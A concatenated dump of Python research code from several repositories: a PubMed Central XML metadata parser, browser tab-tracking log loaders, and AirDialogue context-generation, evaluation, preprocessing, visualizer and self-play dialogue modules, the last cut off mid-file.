front_tag.find_all('journal-id'): c[tag.text] += 1 tag.decompose() journal_id, n = c.most_common(1)[0] return journal_id def parse_journal_name_tag(front_tag) -> str: """ Examples: # Paper 1 <journal-title-group> <journal-title>BMC Biochemistry</journal-title> </journal-title-group> # Paper 2 <journal-title-group> <journal-title>Neuroscience Journal</journal-title> </journal-title-group> But not all titles are contained within a `journal-title-group`. See PMC1079901 <journal-meta> <journal-id journal-id-type="nlm-ta"> Biomed Eng Online </journal-id> <journal-title> BioMedical Engineering OnLine </journal-title> ... """ if len(front_tag.find_all('journal-title')) > 1: raise Exception('Multiple journal titles?!') return front_tag.find('journal-title').extract().text def parse_pubmed_id_tag(front_tag) -> Optional[str]: """Not every PMC paper has a PMID """ pmid_tag = front_tag.find('article-id', {'pub-id-type': 'pmid'}) if pmid_tag is None: return None else: return pmid_tag.extract().text def parse_pmc_id_tag(front_tag) -> str: return f"PMC{front_tag.find('article-id', {'pub-id-type': 'pmc'}).extract().text}" def parse_doi_tag(front_tag) -> Optional[str]: """Not all papers have a DOI""" doi_tag = front_tag.find('article-id', {'pub-id-type': 'doi'}) if doi_tag is not None: return doi_tag.extract().text else: return None def parse_title_tag(front_tag) -> str: """ Examples: # Paper 1 <title-group> <article-title>Role of the highly conserved G68 residue in the yeast phosphorelay protein Ypd1: implications for interactions between histidine phosphotransfer (HPt) and response regulator proteins</article-title> </title-group> # Paper 2 <title-group> <article-title>Association of Strength and Physical Functions in People with Parkinson's Disease</article-title> </title-group> Want to restrict to `title-group` because sometimes title shows up in <notes> under self-citation """ title_group = front_tag.find('title-group').extract() if len(title_group.find_all('article-title')) > 1: raise Exception('Multiple article titles?!') return title_group.find('article-title').text def parse_category_tag(front_tag) -> List[str]: """ Examples: # Paper 1 <article-categories> <subj-group subj-group-type="heading"> <subject>Research Article</subject> </subj-group> </article-categories> # Paper 2 <article-categories> <subj-group subj-group-type="heading"> <subject>Research Article</subject> </subj-group> </article-categories> """ if len(front_tag.find_all('subj-group')) > 1 or len(front_tag.find_all('subject')) > 1: raise Exception('Multiple categories?!') article_categories = front_tag.find('article-categories').extract() return article_categories.find('subject').text def parse_date_tag(front_tag) -> Dict: """ Two sets of tags contain dates: <pub-date pub-type="collection"> <year>2018</year> </pub-date> <pub-date pub-type="epub"> <day>12</day> <month>12</month> <year>2018</year> </pub-date> And: <history> <date date-type="received"> <day>15</day> <month>10</month> <year>2018</year> </date> <date date-type="rev-recd"> <day>20</day> <month>11</month> <year>2018</year> </date> <date date-type="accepted"> <day>26</day> <month>11</month> <year>2018</year> </date> </history> PMC2557072 has `date` tag with no `day`, only `year` and `month` """ out = {} for pub_date in front_tag.find_all('pub-date'): year = pub_date.find('year') month = pub_date.find('month') day = pub_date.find('day') out[pub_date.get('pub-type', 'MISSING_PUB_TYPE')] = '-'.join([tag.text for tag in [year, month, day] if tag is not None]) pub_date.decompose() for date in front_tag.find_all('date'): year = date.find('year') month = date.find('month') day = date.find('day') out[date.get('date-type', 'MISSING_DATE_TYPE')] = '-'.join([tag.text for tag in [year, month, day] if tag is not None]) date.decompose() return out def parse_funding_groups(front_tag) -> List[str]: outs = [] for tag in front_tag.find_all(): # AND statement skips cases where the two tag types nest within each other; we only process the inner one if (tag.name == 'funding-source' or tag.name == 'funding-statement') and tag.find('funding-source') is None and tag.find('funding-statement') is None: out = { 'name': None, 'doi': None, 'notes': None, # 'raw': str(tag) # for debugging } # handle institution institution_id_tag = tag.find('institution-id') if institution_id_tag: out['doi'] = institution_id_tag.extract().text.replace('http://dx.doi.org/', '') institution_tag = tag.find('institution') if institution_tag: out['name'] = tag.find('institution').extract().text # handle named content funder_name_tag = tag.find('named-content', {'content-type': 'funder-name'}) if funder_name_tag: out['name'] = funder_name_tag.extract().text funder_id_tag = tag.find('named-content', {'content-type': 'funder-identifier'}) if funder_id_tag: out['doi'] = funder_id_tag.extract().text.replace('http://dx.doi.org/', '') # handle urls if tag.get('xlink:href'): out['doi'] = tag['xlink:href'] # fix DOIs with URLs in them if out['doi']: match = re.search(r'http(s?)://dx.doi.org/(.+)', out['doi']) if match: out['doi'] = match.group(2) # remainder text is either a name or a full statement text = tag.text if tag.name == 'funding-statement' or ('fund' in text or 'support' in text or 'provide' in text): out['notes'] = text else: # what if something already in 'name'? observed it's typically empty string; so ignore. if not out['name']: out['name'] = text # if DOI link is in the name, remove it and parse (PMC5407128) if out['name'] and not out['doi']: pattern = r'\s*http(s?)://dx.doi.org/(.+)$' match = re.search(pattern, out['name']) if match: out['doi'] = match.group(2) out['name'] = re.sub(pattern, r'', out['name']) outs.append(out) return outs # TODO: didnt want to handle <collab> group names; seemed rare and inconsistent; focus on <contrib> with <name> and <aff> def parse_authors(front_tag) -> List[Dict]: authors = [] for contrib_tag in front_tag.find_all('contrib'): # skip nesting; just process children (individual authors) if contrib_tag.find_all('contrib'): continue # skip contribs without a name; these should be ones that consist of <collab> tag if contrib_tag.find('name') is None: continue # corresponding tag if (contrib_tag.get('corresp') == 'yes') or (contrib_tag.find('xref', {'ref-type': 'corresp'})): is_corresp = True else: is_corresp = False # orcid ID is sometimes a URL or just a number. standardize as hyphenized number. if contrib_tag.find('contrib-id'): orcid_id = contrib_tag.find('contrib-id').text match = re.search(r'http(s?)://orcid.org/(.+)', orcid_id) if match: orcid_id = match.group(2) # A very small number of articles have ID type CATS, which we don't handle. For example: # /disk2/gorpus/20200101/pmc/Change/PMC6176774.nxml if len(orcid_id) != 19: orcid_id = None else: orcid_id = None # Email may or may not be present. email = contrib_tag.find('email') email = email.text if email else None # Get the name info for the author. name_info = {name_tag.name: name_tag.text for name_tag in contrib_tag.find('name').find_all()} # TODO: PMC3462967 is an Erratum. It does not have ['given-names']. not sure we care about those, so try-catch for now try: given_names = name_info['given-names'].split(' ') except KeyError as e: raise NoAuthorNamesError authors.append({ 'first': given_names[0] if given_names else None, 'middle': given_names[1:] if given_names else None, 'last': name_info['surname'], 'suffix': name_info.get('suffix', ''), 'email': email, 'affiliation_ids': [xref_tag.get('rid') for xref_tag in contrib_tag.find_all('xref', {'ref-type': 'aff'})], 'corresponding': is_corresp, 'orcid': orcid_id }) # authors.append(str(contrib_tag.extract())) return authors def parse_affiliations(front_tag) -> List[Dict]: """ Sometimes affiliations is nested within '<contrib-group>' along with authors. Sometimes, they're not and listed outside as multiple tags. Not all <aff> have IDs. For example: <aff><NAME>, Minnesota</aff> """ outs = [] for aff_tag in front_tag.find_all('aff'): if aff_tag.find('label'): # get rid of unused markers so `.text` is cleaner aff_tag.find('label').decompose() if aff_tag.find('sup'): aff_tag.find('sup').decompose() # same treatment as label aff_id = aff_tag.get('id') # it looks like we want to go to the full affiliation surface form without worrying about all possible handlings of <named-content> and other fields # BUT, we do want to keep ISNI and GRID IDs when they occur. They seem to occur typically within <institution-wrap> # so let's handle those if they exist; safely decompose the tags (because they dont contribute to surface form); then grab remaining affiliation surface form # implicit in this approach is that we dont need to actually handle <institution-wrap> tags because only one per affiliation if len(aff_tag.find_all('institution-wrap')) > 1: import pdb; pdb.set_trace() id_type_to_id = {} for institution_id_tag in aff_tag.find_all('institution-id'): id_type_to_id[institution_id_tag['institution-id-type']] = institution_id_tag.text institution_id_tag.decompose() # TODO: processing of text: there are a lot of random newline chars (cuz XML preserves page layout) # --> replace them with whitespace if there's preceding punctuation char # --> otherwise, replace them with comma text = aff_tag.text outs.append({ 'id': aff_id, 'other_ids': id_type_to_id, 'text': text }) return outs def parse_abstract_tag(front_tag, soup) -> List[Dict]: """Not every paper has an abstract Furthermore, note very abstract is structured into sections. Some abstracts (see PMC1914226) look like: <abstract> <p> ... </p> <p> ... </p> </abstract> """ # TODO: are there cases where <abstract> text <p> text </> </abstract> ? abstract: List[Dict] = [] if front_tag.find('abstract'): abstract_tag = front_tag.find('abstract').extract() # replace all xref tags with string placeholders replace_xref_with_string_placeholders(soup_tag=abstract_tag, soup=soup) # replace all sup/sub tags with string placeholders replace_sup_sub_tags_with_string_placeholders(soup_tag=abstract_tag, soup=soup) if abstract_tag.find('sec'): all_par_blobs = [] for sec_tag in abstract_tag.find_all('sec', recursive=False): par_blobs = recurse_parse_section(sec_tag=sec_tag) all_par_blobs.extend(par_blobs) else: all_par_blobs = parse_all_paragraphs_in_section(sec_tag=abstract_tag) for par_blob in all_par_blobs: # these 'sections' typically show up as empty string par_blob['section'] = 'Abstract' abstract.append(par_blob) return abstract ``` #### File: doc2json/utils/refspan_util.py ```python from typing import List, Tuple def replace_refspans( spans_to_replace: List[Tuple[int, int, str, str]], full_string: str, pre_padding: str = "", post_padding: str = "", btwn_padding: str = ", " ) -> str: """ For each span within the full string, replace that span with new text :param spans_to_replace: list of tuples of form (start_ind, end_ind, span_text, new_substring) :param full_string: :param pre_padding: :param post_padding: :param btwn_padding: :return: """ # assert all spans are equal to full_text span assert all([full_string[start:end] == span for start, end, span, _ in spans_to_replace]) # assert none of the spans start with the same start ind start_inds = [rep[0] for rep in spans_to_replace] assert len(set(start_inds)) == len(start_inds) # sort by start index spans_to_replace.sort(key=lambda x: x[0]) # form strings for each span group for i, entry in enumerate(spans_to_replace): start, end, span, new_string = entry # skip empties if end <= 0: continue # compute shift amount shift_amount = len(new_string) - len(span) + len(pre_padding) + len(post_padding) # shift remaining appropriately for ind in range(i + 1, len(spans_to_replace)): next_start, next_end, next_span, next_string = spans_to_replace[ind] # skip empties if next_end <= 0: continue # if overlap between ref span and current ref span, remove from replacement if next_start < end: next_start = 0 next_end = 0 next_string = "" # if ref span abuts previous reference span elif next_start == end: next_start += shift_amount next_end += shift_amount next_string = btwn_padding + pre_padding + next_string + post_padding # if ref span starts after, shift starts and ends elif next_start > end: next_start += shift_amount next_end += shift_amount next_string = pre_padding + next_string + post_padding # save adjusted span spans_to_replace[ind] = (next_start, next_end, next_span, next_string) spans_to_replace = [entry for entry in spans_to_replace if entry[1] > 0] spans_to_replace.sort(key=lambda x: x[0]) # apply shifts in series for start, end, span, new_string in spans_to_replace: assert full_string[start:end] == span full_string = full_string[:start] + new_string + full_string[end:] return full_string def sub_spans_and_update_indices( spans_to_replace: List[Tuple[int, int, str, str]], full_string: str ) -> Tuple[str, List]: """ Replace all spans and recompute indices :param spans_to_replace: :param full_string: :return: """ # TODO: check no spans overlapping # TODO: check all spans well-formed # assert all spans are equal to full_text span assert all([full_string[start:end] == token for start, end, token, _ in spans_to_replace]) # assert none of the spans start with the same start ind start_inds = [rep[0] for rep in spans_to_replace] assert len(set(start_inds)) == len(start_inds) # sort by start index spans_to_replace.sort(key=lambda x: x[0]) # compute offsets for each span new_spans = [[start, end, token, surface, 0] for start, end, token, surface in spans_to_replace] for i, entry in enumerate(spans_to_replace): start, end, token, surface = entry new_end = start + len(surface) offset = new_end - end new_spans[i][1] += offset for new_span_entry in new_spans[i+1:]: new_span_entry[4] += offset # generate new text and create final spans new_text = replace_refspans(spans_to_replace, full_string, btwn_padding="") new_spans = [(start + offset, end + offset, token, surface) for start, end, token, surface, offset in new_spans] return new_text, new_spans ``` #### File: s2orc-doc2json/tests/test_read_write.py ```python import os import unittest import json from doc2json.s2orc import load_s2orc JSON_INPUT_DATA = os.path.join('tests', 'pdf', 'N18-3011.json') class TestS2ORC(unittest.TestCase): def test_read_write(self): """ Check loading current s2orc files :return: """ with open(JSON_INPUT_DATA, 'r') as f: data = json.load(f) try1 = load_s2orc(data) output1 = try1.release_json("pdf") try2 = load_s2orc(data) output2 = try2.release_json("pdf") for key, value in output2.items(): if key == 'header': assert value != output1[key] else: assert value == output1[key] ```
{ "source": "josephcc/tab-track", "score": 3 }
#### File: tab-track/analysis/loaders.py ```python import sys import csv from itertools import * from bisect import * from operator import * from containers import * from collections import defaultdict def loadSnapshot(fn): snapshots = [] with open(fn, 'rb') as csvfile: snapshotRows = defaultdict(list) csvreader = csv.reader(csvfile) for row in csvreader: if row[0] == 'snapshotId' or len(row) != 13: continue snapshotRows[row[0]].append(row) for _, rows in snapshotRows.items(): snapshots.append(Snapshot(rows)) snapshots.sort(key=attrgetter('time')) for tab in snapshots[0].tabs: tab.init = True snapshots[0].windows = list(set(map(attrgetter('windowId'), snapshots[0].tabs))) for idx in range(len(snapshots) - 1): fr = snapshots[idx] to = snapshots[idx+1] to.windows = list(set(map(attrgetter('windowId'), to.tabs))) for tab in to.tabs: tab.init = False if tab.status == 'complete': prevTab = fr.findTab(tab.id) if prevTab != None and prevTab.status in ('complete', 'done'): tab.status = 'done' if tab.status == 'loading': if (not fr.hasTab(tab.id)) or fr.findTab(tab.id).urlHash != tab.urlHash: tab.init = True fr.endTime = to.time # skip last record because it has no endTime snapshots.pop() return snapshots def loadFocus(fn): focuses = [] with open(fn, 'rb') as csvfile: csvreader = csv.reader(csvfile) for row in csvreader: if row[0] == 'action' or len(row) != 4: continue focus = Focus(row) focuses.append(focus) focuses.sort(key=attrgetter('time')) return focuses def loadNav(fn): navs = [] with open(fn, 'rb') as csvfile: csvreader = csv.reader(csvfile) for row in csvreader: if row[0] == 'from' or len(row) != 3: continue nav = Nav(row) navs.append(nav) navs.sort(key=attrgetter('time')) return navs def _trimByTime(a, s, e): while a[0].time < s: del a[0] while a[-1].time > e: del a[-1] return a def _getSnapshotForTime(snapshots, focus): index = bisect_left(snapshots, focus) snapshots = snapshots[max(0, index-5) : min(len(snapshots)-1, index+5)] snapshots = filter(lambda snapshot: snapshot.hasTab(focus.id), snapshots) diffs = [] for snapshot in snapshots: diffs.append( abs(focus.time - snapshot.time) ) diffs = list(enumerate(diffs)) diffs.sort(key=itemgetter(1)) #_tabs = _.filter(tabs, (tab) -> tab.diff >= 500) if len(diffs) > 0: snapshots[diffs[0][0]].focuses.append(focus) def addFocusToSnapshots(snapshots, focuses): snapshots.sort(key=attrgetter('time')) focuses.sort(key=attrgetter('time')) snapshots = _trimByTime(snapshots, focuses[0].time, focuses[-1].time) focuses = _trimByTime(focuses, snapshots[0].time, snapshots[-1].time) for snapshot in snapshots: snapshot.focuses = [] for focus in focuses: _getSnapshotForTime(snapshots, focus) lastFocus = None for snapshot in snapshots: snapshot.lastFocus = lastFocus # fix race condition for focus in snapshot.focuses: focus.time = max(snapshot.time, focus.time) focus.time = min(snapshot.endTime, focus.time) if len(snapshot.focuses) > 0: lastFocus = snapshot.focuses[-1] return snapshots def _getIdxForSnapshot(snapshot, snapshots): index = bisect_left(snapshots, time) start = max(0, index-25) end = min(len(snapshots)-1, index+25) snapshots = snapshots[start:end] _snapshotIdx = next(ifilter(lambda x: x[1].snapshotId == snapshot.snapshotId, enumerate(snapshots)))[0] return _snapshotIdx + start def _getTabForIdTime(frTabId, toTabId, time, snapshots): index = bisect_left(snapshots, time) start = max(0, index-25) end = min(len(snapshots)-1, index+25) snapshots = snapshots[start:end] snapshots = filter(lambda snapshot: snapshot.hasTab(toTabId) and snapshot.hasTab(frTabId) and snapshot.findTab(toTabId).init, snapshots) diffs = [] for snapshot in snapshots: diffs.append( abs(time - snapshot.time) ) diffs = list(enumerate(diffs)) diffs.sort(key=itemgetter(1)) if len(diffs) > 0: snapshot = snapshots[diffs[0][0]] return snapshot, snapshot.findTab(frTabId), snapshot.findTab(toTabId) return None, None, None def addNavToSnapshots(snapshots, navs): for nav in navs: snapshot, fr, to = _getTabForIdTime(nav.source, nav.target, nav.time, snapshots) if to != None and fr != None: to.source = fr # propagate source info to future snapshots snapshotIdx = next(ifilter(lambda x: x[1].snapshotId == snapshot.snapshotId, enumerate(snapshots)))[0] for idx in range(snapshotIdx, len(snapshots)): snapshot = snapshots[idx] # this will fail to propagate on redirection, as init will be set in that case #if (not snapshot.hasTab(nav.target)) or snapshot.findTab(nav.target).init: if (not snapshot.hasTab(nav.target)): break snapshot.findTab(nav.target).tabSource = fr def loadEverything(snapshotFn, focusFn, navFn): print >> sys.stderr, 'Loading tab logs...', snapshots = loadSnapshot(snapshotFn) print >> sys.stderr, ' Done\nLoading focus logs...', focuses = loadFocus(focusFn) print >> sys.stderr, ' Done\nLoading nav logs...', navs = loadNav(navFn) print >> sys.stderr, ' Done' print >> sys.stderr, 'Mapping focus to snapshots...', addFocusToSnapshots(snapshots, focuses) print >> sys.stderr, ' Done\nMapping nav to snapshots...', addNavToSnapshots(snapshots, navs) print >> sys.stderr, ' Done' return snapshots, focuses, navs ```
{ "source": "josephch405/airdialogue", "score": 3 }
#### File: context_generator/src/customer.py ```python import random from . import utils class Customer(object): """This class contains information of a customer.""" def __init__(self, facts_obj, book_window, airport_list): # 1. origin and destination, airport_list guarantees to have unique locations self.origin = random.randint(0, len(airport_list) - 1) self.dest = random.randint(0, len(airport_list) - 1) if self.dest == self.origin: self.dest = (self.dest + 1) % len(airport_list) self.dest = airport_list[self.dest] self.origin = airport_list[self.origin] # 2. date base_time = facts_obj.base_departure_time_epoch a_year_from_now = base_time + 3600 * 24 * 365 # randomly pick a date between base_time and a_year_from_now self.departure_date = random.randint(base_time, a_year_from_now) # return adte is book_window away from the departure date self.return_date = self.departure_date + 3600 * 24 * book_window # 4. passenger information num_passengers = 1 self.passengers = [] len_first_name = len(facts_obj.first_name_list) len_last_name = len(facts_obj.last_name_list) # '_' will later be replaced in intent standalization for _ in range(num_passengers): self.passengers.append( facts_obj.first_name_list[random.randint(0, len_first_name - 1)] + '_' + facts_obj.last_name_list[random.randint(0, len_last_name - 1)]) # non-required fields during initial query # 3. time self.departure_time = utils.choice( facts_obj.time_list, 1, p=facts_obj.time_prior)[0] self.return_time = utils.choice( facts_obj.time_list, 1, p=facts_obj.time_prior)[0] # 5. class limit and price limit self.class_limit = utils.choice( facts_obj.class_list, 1, p=facts_obj.class_list_prior)[0] # 6. price limist if self.class_limit == 'all': self.price_limit = facts_obj.price_limit_list[random.randint( 0, len(facts_obj.price_limit_list) - 1)] elif self.class_limit == 'economy': self.price_limit = facts_obj.price_limit_list[random.randint( 0, len(facts_obj.price_limit_list) - 2)] elif self.class_limit == 'business': self.price_limit = facts_obj.price_limit_list[random.randint( 1, len(facts_obj.price_limit_list) - 1)] # 7. num of connections self.max_connection = utils.choice( facts_obj.connection_member, 1, p=facts_obj.connection_prior)[0] # 8. airline preference self.airline = utils.choice( facts_obj.airline_preference, 1, p=facts_obj.airline_preference_prior)[0] # 10 post process self.departure_month, self.departure_day = utils.get_month_and_day( facts_obj, self.departure_date) self.return_month, self.return_day = utils.get_month_and_day( facts_obj, self.return_date) # 11 change reservation self.goal = utils.choice([0, 1, 2], p=facts_obj.goal_probaility) def get_departure_and_return_date(self): return self.departure_date, self.return_date def get_json(self): """This function serializes the object into a json.""" intention_jobject = {} intention_jobject['departure_airport'] = self.origin intention_jobject['return_airport'] = self.dest intention_jobject['departure_month'] = self.departure_month intention_jobject['departure_day'] = self.departure_day intention_jobject['return_month'] = self.return_month intention_jobject['return_day'] = self.return_day intention_jobject['name'] = self.passengers[0] intention_jobject['departure_time'] = self.departure_time intention_jobject['return_time'] = self.return_time intention_jobject['class'] = self.class_limit intention_jobject['max_price'] = self.price_limit intention_jobject['max_connections'] = self.max_connection intention_jobject['airline_preference'] = self.airline intention_jobject['goal'] = self.goal # add departure and return date intention_jobject['departure_date'] = self.departure_date intention_jobject['return_date'] = self.return_date return intention_jobject def get_customer_condition(self): """This function returns the condition file.""" condition = self.get_json() if condition['airline_preference'] == 'all': del condition['airline_preference'] if condition['max_connections'] == 2: del condition['max_connections'] if condition['class'] == 'all': del condition['class'] if condition['departure_time'] == 'all': del condition['departure_time'] if condition['return_time'] == 'all': del condition['return_time'] return condition ``` #### File: evaluator/metrics/f1.py ```python from collections import Counter import re import string def f1_score(prediction, ground_truth): prediction_tokens = list(normalize_answer(prediction)) ground_truth_tokens = list(normalize_answer(ground_truth)) common = Counter(prediction_tokens) & Counter(ground_truth_tokens) num_same = sum(common.values()) # print num_same, common if num_same == 0: return 0 precision = 1.0 * num_same / len(prediction_tokens) recall = 1.0 * num_same / len(ground_truth_tokens) f1 = (2 * precision * recall) / (precision + recall) return f1 def normalize_answer(s): """Lower text and remove punctuation, articles and extra whitespace.""" def remove_articles(text): return re.sub(r'\b(a|an|the)\b', ' ', text) def white_space_fix(text): return ' '.join(text.split()) def remove_punc(text): exclude = set(string.punctuation) return ''.join(ch for ch in text if ch not in exclude) def lower(text): return text.lower() return white_space_fix(remove_articles(remove_punc(lower(s)))) ``` #### File: airdialogue/evaluator/selfplay_utils.py ```python from airdialogue.evaluator.metrics.flight_distance import generate_scaled_flight from airdialogue.evaluator.metrics import f1 def compute_reward_batch(utterance, predicted_action, actual_action_concat, flight_db, hparams, alpha=0.5, beta=0.2, gamma=0.3): """Calcualte the reward for a batch.""" rewards = [] acc1 = [] acc2 = [] acc3 = [] discrete_score = [] ds1_arr = [] ds2_arr = [] ds3_arr = [] train_rw_arr = [] for pa, aa_con, fl in zip(predicted_action, actual_action_concat, flight_db): aa = aa_con.split(' ') rw, ac1, ac2, ac3 = compute_reward(pa, aa, fl) rewards.append(rw) acc1.append(ac1) acc2.append(ac2) acc3.append(ac3) ds, ds1, ds2, ds3 = compute_01_score(pa, aa) discrete_score.append(ds) ds1_arr.append(ds1) ds2_arr.append(ds2) ds3_arr.append(ds3) train_rw_arr.append( get_training_reward(hparams, ac1, ac2, ac3, ds1, ds2, ds3)) return train_rw_arr, rewards, acc1, acc2, acc3, discrete_score, ds1_arr, ds2_arr, ds3_arr def parse_action(action): """parse the action and consider multiple name scenario. name will also appear first. """ name = ' '.join(action[0:-2]) flight = action[-2] state = action[-1] return name, flight, state def compute_reward(predicted_action, actual_action, flight_db, alpha=0.5, beta=0.2, gamma=0.3, debug=False): """here we compute the scaled reward.""" predicted_name, predicted_flight, predicted_state = parse_action( predicted_action) actual_name, actual_flight, actual_state = parse_action(actual_action) # this will do normalization including lower case and prouncation/space # removal score1 = f1.f1_score(predicted_name, actual_name) score2 = 1 - generate_scaled_flight(predicted_flight, actual_flight, flight_db) score3 = float(predicted_state == actual_state) reward_compliment = score1 * 0.2 + score2 * 0.5 + score3 * 0.3 acc1 = score1 acc2 = score2 acc3 = score3 return reward_compliment, acc1, acc2, acc3 ``` #### File: airdialogue/prepro/standardize_data_lib.py ```python from tensorflow.compat.v1.io import gfile from tqdm import tqdm import string import json printable = set(string.printable) def add_dot(utt): if utt.strip()[-1] != '.' and utt.strip()[-1] != '?': return utt.strip() + '.' else: return utt.strip() def standardize_message(utterances, time_stamp=None): """this function combines adjacent utternaces that belong to the same talker into one. Sometimes time_stamp could be None. For example <t1> how are you. <t2> I am good. <t2> And you? <eod> <t1> will be combined into <t1> how are you. <t2> I am good. And you? <eod> <t1> """ new_utterance = [] new_time_stamp = [] for i, utt in enumerate(utterances): if len(utt.strip()) == 0: continue utts = utt.split(':') talker = utts[0] sentence = ':'.join(utts[1:]).strip() if len(sentence) == 0: continue if len(new_utterance) == 0 or talker != new_utterance[-1].split(':')[0]: new_utterance.append(add_dot(utt)) if time_stamp: new_time_stamp.append(time_stamp[i]) else: new_utterance[-1] += ' ' + add_dot(sentence) if time_stamp: new_time_stamp[-1] = time_stamp[i] return new_utterance, new_time_stamp def delete_non_ascii(s): return ''.join([x for x in s if x in printable]) def load_and_drop(data_file, kb_file, drop_incorrect=True, verbose=False): """ this function filter incorrect samples without standardization.""" fin_data = gfile.GFile(data_file) fin_kb = gfile.GFile(kb_file) total_in_file = 0 loaded_data = [] loaded_kb = [] for line1 in tqdm(fin_data, desc='loading data'): if len(line1.strip()) < 10: continue line2 = fin_kb.readline() if len(line2.strip()) < 10: continue line1 = delete_non_ascii(line1) line2 = delete_non_ascii(line2) data_obj = json.loads(line1) kb_obj = json.loads(line2) if (not drop_incorrect) or ( 'correct_sample' not in data_obj) or data_obj['correct_sample']: loaded_data.append(data_obj) loaded_kb.append(kb_obj) total_in_file += 1 if verbose: print(('loaded: ', len(loaded_data), '/', total_in_file, '=', len(loaded_data) * 1.0 / total_in_file)) return loaded_data, loaded_kb def load_and_drop_stream(data_file, kb_file, drop_incorrect=True, verbose=False): """ this function filter incorrect samples without standardization.""" if verbose: print('loading stream') fin_data = gfile.GFile(data_file) if gfile.exists(kb_file): fin_kb = gfile.GFile(kb_file) else: fin_kb = None if verbose: print("gfile loaded: ", fin_data) for line1 in fin_data: if verbose: print(line1) if len(line1.strip()) < 10: continue line1 = delete_non_ascii(line1) data_obj = json.loads(line1) if fin_kb: line2 = fin_kb.readline() if len(line2.strip()) < 10: continue line2 = delete_non_ascii(line2) kb_obj = json.loads(line2) else: kb_obj = None if (not drop_incorrect) or ( 'correct_sample' not in data_obj) or data_obj['correct_sample']: yield data_obj, kb_obj def standardize_and_drop(data_file, kb_file, drop_incorrect=True, verbose=False): """ this function filter incorrect samples and standardize them the same time. """ loaded_data, loaded_kb = load_and_drop(data_file, kb_file, drop_incorrect, verbose) for data_obj in tqdm(loaded_data, desc='standardizing data'): org_time = data_obj['timestamps'] if 'timestamps' in data_obj else None org_diag = data_obj['dialogue'] if 'dialogue' in data_obj else None if org_diag: new_diag, new_time = standardize_message(org_diag, org_time) data_obj['dialogue'] = new_diag if new_time: data_obj['timestamps'] = new_time assert len(data_obj['dialogue']) == len(data_obj['timestamps']) return loaded_data, loaded_kb ``` #### File: airdialogue/visualizer/visualizer_main.py ```python import argparse import json import linecache import os from os.path import expanduser from flask import Flask from flask import request from airdialogue.visualizer.utils import generate_html import sys def strip_prefix(name): if name.endswith("data"): return name[0:-5] else: return name[0:-3] def get_partitions(path): """This function counts the number of occurries of the same prefix in the json dir. If it happens more than twice we will use that as a valid partition and add it to the partition list.""" all_files = os.listdir(path) prefix_freq = {} for f in all_files: if f.endswith(".json"): prefix = f.split(".")[0] prefix = strip_prefix(prefix) if prefix not in prefix_freq: prefix_freq[prefix] = 0 prefix_freq[prefix] += 1 valid_partitions = [] for prefix in prefix_freq: if prefix_freq[prefix] >= 2: valid_partitions.append(prefix) return valid_partitions def wrapper(FLAGS): def home(): # get all the partitions in the directory expanded_data_path = expanduser(FLAGS.data_path) partitions = get_partitions(expanded_data_path) index = request.form.get("index") if index: index = int(index) partition = request.form.get("partition") if not partitions: print("no data is found in the directory") return """No partitions found under {0}. Supported partitions has to end with .json extension.""".format(FLAGS.data_path) if not partition: # choose a default partition if "train" in partitions: partition = "train" else: partition = partitions[0].strip() index = 1 try: line_data = linecache.getline( os.path.join(expanded_data_path, "{0}_data.json".format(partition)), index) line_kb = linecache.getline( os.path.join(expanded_data_path, "{0}_kb.json".format(partition)), index) except: return "Invalid index." if (not line_data) and (not line_kb): print("invalid partition number.") data_object = json.loads(line_data) kb_object = json.loads(line_kb) html_source = generate_html(data_object, kb_object, index, partitions, partition) return html_source return home def add_arguments(parser): """Build ArgumentParser.""" parser.add_argument("--host", type=str, default="0.0.0.0", help="host name for the visualizer.") parser.add_argument("--port", type=int, default=5555, help="port number of the visualizer server.") parser.add_argument("--data_path", type=str, default=None, help="path that stores data and kb files.") def main(FLAGS): app = Flask(__name__) app.route("/", methods=["POST", "GET"])(wrapper(FLAGS)) app.run(host=FLAGS.host, port=FLAGS.port, debug=True) if __name__ == "__main__": this_parser = argparse.ArgumentParser() add_arguments(this_parser) FLAGS, unparsed = this_parser.parse_known_args() main(FLAGS) ```
{ "source": "josephch405/airdialogue_model", "score": 3 }
#### File: josephch405/airdialogue_model/dialogue.py ```python import math import sys import numpy as np import tensorflow as tf from utils import dialogue_utils from utils import misc_utils as utils class Conversation(object): """The Conversation class models the behavior of a single self-play conversation. """ def get_initial_utterance(self, speaker): # the situation is different here because we removed a speaker flip right # aftet this is initialized if speaker == 0: return ['<t1>'] # it means we let speaker 0 to talk now else: return ['<t2>'] def __init__(self, max_diag_len, turn1_token, turn2_token, num_utterance, speaker): self.utt_arr = [] self.action_arr = [] self.is_finished = [] self.turn1_token = turn1_token self.turn2_token = turn2_token self.max_diag_len = max_diag_len for i in range(num_utterance): self.utt_arr.append([]) self.is_finished.append(False) self.action_arr.append([]) for i in range(num_utterance): utt = self.get_initial_utterance(speaker) self.utt_arr[i].extend(utt) def get_start_and_end_token(self, speaker): if speaker == 0: begin_token = self.turn1_token end_token = self.turn2_token else: begin_token = self.turn2_token end_token = self.turn1_token return begin_token, end_token def process(self, new_utterances1, new_utterances2, actions, speaker, last_round): def apply_filter(filter_token, utterance): try: ind = utterance.index(filter_token) # print ('ind found', ind,utterance[:ind] ) return utterance[:ind], True except: # filter_token not found return utterance, False begin_token, end_token = self.get_start_and_end_token(speaker) new_utterances_all = new_utterances1 if speaker == 0 else new_utterances2 for i, (np_utterance, ac) in enumerate(zip(new_utterances_all, actions)): if self.is_finished[i]: continue new_utterances = [] for token in np_utterance: new_utterances.append(token) new_utterances = list(map(lambda bs: bs.decode(), new_utterances)) # 1. get sub_str before begin_tokens as they are invalid new_utterances, _ = apply_filter(begin_token, new_utterances) # 2. get sub_str before end token new_utterances, _ = apply_filter(end_token, new_utterances) # 3. get sub_str before end_of dialogue new_utterances, terminated = apply_filter('<eod>', new_utterances) # 4. cap on max_length remaining_informative_words = self.max_diag_len - len(self.utt_arr[i]) - 1 if terminated: remaining_informative_words -= 1 # we need to add <eod> new_utterances = new_utterances[:remaining_informative_words] new_utterances = list(new_utterances) ##### start putting it together # 6. add eod if terminated: new_utterances.append('<eod>') if terminated or last_round: self.action_arr[i] = [s.decode() for s in ac] self.is_finished[i] = True # 7. add end token new_utterances.append(end_token) self.utt_arr[i].extend(new_utterances) return sum(self.is_finished) == len(self.is_finished) def get_train_data(self): # print("self.utt_arr", self.utt_arr) return self.utt_arr, self.action_arr class SelfplayDialogue(object): """The SelfplayDialogue can be reused for multiple conversations.""" def __init__(self, mutable_model, immutable_model, mutable_sess, immutable_sess, max_dialogue_turns, train_threadhold, turn1_token, turn2_token, eod_token, summary_writer, dialogue_mode, hparams): # model and session self.mutable_model = mutable_model self.immutable_model = immutable_model 